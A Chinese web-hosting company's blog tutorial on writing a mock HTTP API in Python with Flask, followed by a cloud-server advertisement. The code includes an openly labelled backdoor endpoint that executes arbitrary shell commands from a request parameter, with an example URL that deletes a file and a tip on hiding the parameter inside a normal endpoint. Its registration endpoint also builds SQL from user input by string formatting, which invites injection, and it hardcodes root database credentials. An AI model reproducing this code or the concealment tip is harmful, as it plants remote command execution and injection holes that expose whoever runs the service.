怎么在python中开发一个mock接口-创新互联
这期内容当中小编将会给大家带来有关怎么在python中开发一个mock接口,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
成都创新互联公司致力于互联网品牌建设与网络营销,包括网站设计、做网站、SEO优化、网络推广、整站优化营销策划推广、电子商务、移动互联网营销等。成都创新互联公司为不同类型的客户提供良好的互联网应用定制及解决方案,成都创新互联公司核心团队十年专注互联网开发,积累了丰富的网站经验,为广大企业客户提供一站式企业网站建设服务,在网站建设行业内树立了良好口碑。#1.测试为什么要开发接口?
1)在别的接口没有开发好的时候, mock接口(模拟接口)
2)查看数据, 避免直接操作数据库
#2.开发接口的顺序
1)安装flask
flask是一个轻量级开发框架
pip install flask
2)开发一个接口
开发步骤:
1.实例化一个服务server:flask.Flask(__name__)
2.函数前加装饰器@server.route(), 将函数变为一个接口
3.启动服务server:server.run()
import flask,json,pymysql server=flask.Flask(__name__)#__name__代表当前python文件, 把当前python文件当成一个服务 def opt_db(sql): coon=pymysql.connect( host='192.168.109.132', user='root', passwd='123456', db='besttest', port=3306, charset='utf8' )#建立db链接 cur=coon.cursor()#建立游标 cur.execute(sql);#执行sql if sql.strip()[:6].upper()=='SELECT': res=cur.fetchall()#获取sql返回 else: coon.commit() res='ok' cur.close()#关闭游标 coon.close()#关闭db链接 return res #get请求, 请求路径ip:port/index @server.route('/index',methods=['get'])#装饰器,代表index函数是一个接口,支持get请求(默认get请求) def index(): res={'msg':'这是我开发的第一个接口','msg_code':'0'} return json.dumps(res,ensure_ascii=False,indent=4) #post请求, 请求路径ip:port/reg @server.route('/reg',methods=['post'])#装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求) def reg(): username=flask.request.values.get('username')#获取接口入参 pwd=flask.request.values.get('passwd') if username and pwd: sql='select * from syz_stu where username="%s";'%username if opt_db(sql): res={'msg':'用户已存在','msg_code':2001}#2001用户已存在 else: insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd) opt_db(insert_sql) res={'msg':'注册成功','msg_code':'0'} else: res={'msg':'必填字段未填, 请查看接口文档','msg_code':1001}#1001必填字段未填 return json.dumps(res,ensure_ascii=False,indent=4)
#后门接口 @server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error def cmd(): cmd = flask.request.values.get('cmd')#接口的入参 res = os.popen(cmd)#执行用户命令 return res.read()#返回执行结果 #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件 #隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口 # 默认可以不传,一但传了再res = os.popen(cmd) server.run(port=6688,debug=True,host='0.0.0.0')#启动服务,接口才能访问 # port=6688指定端口为6688 # debug=True设置代码修改后服务自动重启 # host='0.0.0.0'设置同一局域网的可以访问 # server.run() 必须在所有接口定义完后再定义, 否则, server.run()检测不到之后定义的接口, 接口是无法被运行的
运行以上代码,打开浏览器,请求http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}
上述就是小编为大家分享的怎么在python中开发一个mock接口了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注创新互联成都网站设计公司行业资讯频道。
另外有需要云服务器可以了解下创新互联scvps.cn,海内外云服务器15元起步,三天无理由+7*72小时售后在线,公司持有idc许可证,提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案,具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势,专为企业上云打造定制,能够满足用户丰富、多元化的应用场景需求。
当前标题:怎么在python中开发一个mock接口-创新互联
分享网址:http://cdiso.cn/article/djesos.html